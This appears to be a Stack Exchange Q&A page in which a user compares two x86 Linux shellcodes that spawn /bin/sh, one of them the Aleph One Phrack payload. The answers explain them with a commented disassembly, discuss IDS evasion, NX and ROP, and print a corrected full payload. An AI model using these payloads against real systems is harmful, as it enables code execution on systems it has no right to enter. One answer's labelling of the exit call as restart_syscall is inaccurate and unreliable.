2

I have found two shellcodes for spawning /bin/sh which are much different from each other. The second one is hardly ever found on the net, and it mostly comes up in reverse engineering websites:

1. "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
   "\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80";

http://shell-storm.org/shellcode/files/shellcode-811.php

2.  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"

http://phrack.org/issues/49/14.html

https://stackoverflow.com/questions/2705854/can-anyone-explain-this-code-to-me

So:

  1. What is the difference and which one is better to use?

  2. Can you explain in detail what each of them do? For example why there is a push 0x68732f2f in the first link? If this is an address then how can you know it before run time if we have things like ASLR and PIE?

  3. Why are these shellcodes so much different if they do the same thing?

1
  • Better in terms of what?
    – user202729
    Commented Oct 14, 2018 at 12:45

2 Answers 2

4
  1. What is the difference and which one is better to use?

The second one you cite is coming from a historical paper ("Smashing The Stack For Fun And Profit" by Aleph One in Phrack #49, 1996) (note that you removed the final '/bin/sh' which ruins totally the shellcode). It is probably the most well known explanation of what is a buffer-overflow and how to exploit it. The article itself comes with this shellcode which has been used as it is by numerous people to learn and to exploit in the wild.

Nowadays, this shellcode will be detected if sent in clear on the network by most of the IDS (Intrusion Detection Systems) and stopped before it reaches its target. Moreover, it is an educational shellcode (read the paper, AlephOne explain how to build such a shellcode), so it is a bit big for a shellcode.

So, the second shellcode is well-known and big, two reasons to not use it except if you want to understand what it does and how to write such thing.

The first shellcode you pointed, is designed to take the less space possible (only 28 bytes compared to 46 with the second). It may be useful to have a small shellcode because sometimes you will have only a small memory space to write it. So, if your shellcode is too big, it won't execute properly.

  1. Can you explain in detail what each of them do? For example why there is a push $0x68732f2f in the first link? If this is an address then how can you know it before run time if we have things like ASLR and PIE?

This is not an address, it is the string //sh (in little-endian), look at the character 0x2f which is / (in ASCII code) repeated twice and, then, sh.

Concerning ASLR and PIE, these security mechanisms came a few years after shellcodes. ASLR was designed to prevent easy exploitation of buffer-overflow by randomizing addresses. This is not the worst thing against buffer-overflow exploitation and shellcodes, in fact. The worst is NX (non-executable stack). And, in fact, since NX is here we are now using ROP (Return-Oriented Programming) better than shellcode (but I guess this will be your next step once you understand these shellcodes).

If you want to understand fully the shellcode, read the Aleph One paper...

This is the best explanation I know about it.

  1. Why are these shellcodes so much different if they do the same thing?

They vary in shapes and size because of the IDS, once a shellcode is common, it can be scanned and found in TCP/IP packets and stopped during an attack through the network. That is why there exists a great variety of it (some are self-encrypted with various keys to evade IDS).

And, then, you also have to take into account the way you inject the shellcode in the program, you may have several limitations (only ASCII or UTF-8 characters for examples). This will give another set of shellcodes (for example, see this article).

Finally, as I said at the beginning you may have size constraints. Which tends to try to have the smallest shellcode possible.

0
3

Both of them have the similar purpose and uses same syscalls (execve and restart_syscall), they have no difference in action (just programming style). In second shellcode you can easily change the executable command. On the other hand, if the buffer in which you write you payload has a limited size, first one is more compact.

$0x68732f2f is not an address, It's the //sh string for passing to interrupt so it's not related to ASLR and PIE

[0x00000000]> pd # shellcode1
            0x00000000      31c0           xor eax, eax
            0x00000002      50             push eax
            0x00000003      682f2f7368     push 0x68732f2f             ; '//sh'
            0x00000008      682f62696e     push 0x6e69622f             ; '/bin'
            0x0000000d      89e3           mov ebx, esp ; copy string (command) address in ebx
            0x0000000f      89c1           mov ecx, eax
            0x00000011      89c2           mov edx, eax
            0x00000013      b00b           mov al, 0xb                 ; 11
            0x00000015      cd80           int 0x80  ; execve()
            0x00000017      31c0           xor eax, eax
            0x00000019      40cd80         int 0x80 ; restart_syscall()

[0x00000000]> pd # shellcode2
        ,=< 0x00000000      eb1f           jmp 0x21
        |   0x00000002      5e             pop esi
        |   0x00000003      897608         mov dword [esi + 8], esi
        |   0x00000006      31c0           xor eax, eax
        |   0x00000008      884607         mov byte [esi + 7], al
        |   0x0000000b      89460c         mov dword [esi + 0xc], eax
        |   0x0000000e      b00b           mov al, 0xb               ; 11
        |   0x00000010      89f3           mov ebx, esi ; copy string (command) address in ebx
        |   0x00000012      8d4e08         lea ecx, [esi + 8]          ; 8
        |   0x00000015      8d560c         lea edx, [esi + 0xc]        ; 12
        |   0x00000018      cd80           int 0x80 ; execve()
        |   0x0000001a      31db           xor ebx, ebx
        |   0x0000001c      89d8           mov eax, ebx
        |   0x0000001e      40cd80         int 0x80 ; restart_syscall()
        `-> 0x00000021      e8dcffffff     call 2 ; push string (command) address to stack and jump to 0x00000002 (0x00000025 must be start of command's string)

Updated : shellcode problem fixed in the question

Your second shellcode is incomplete because after your call you must involve your command as a string, and call instruction is used for pushing address of string in the memory.

This is fixed version of your second shellcode.

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.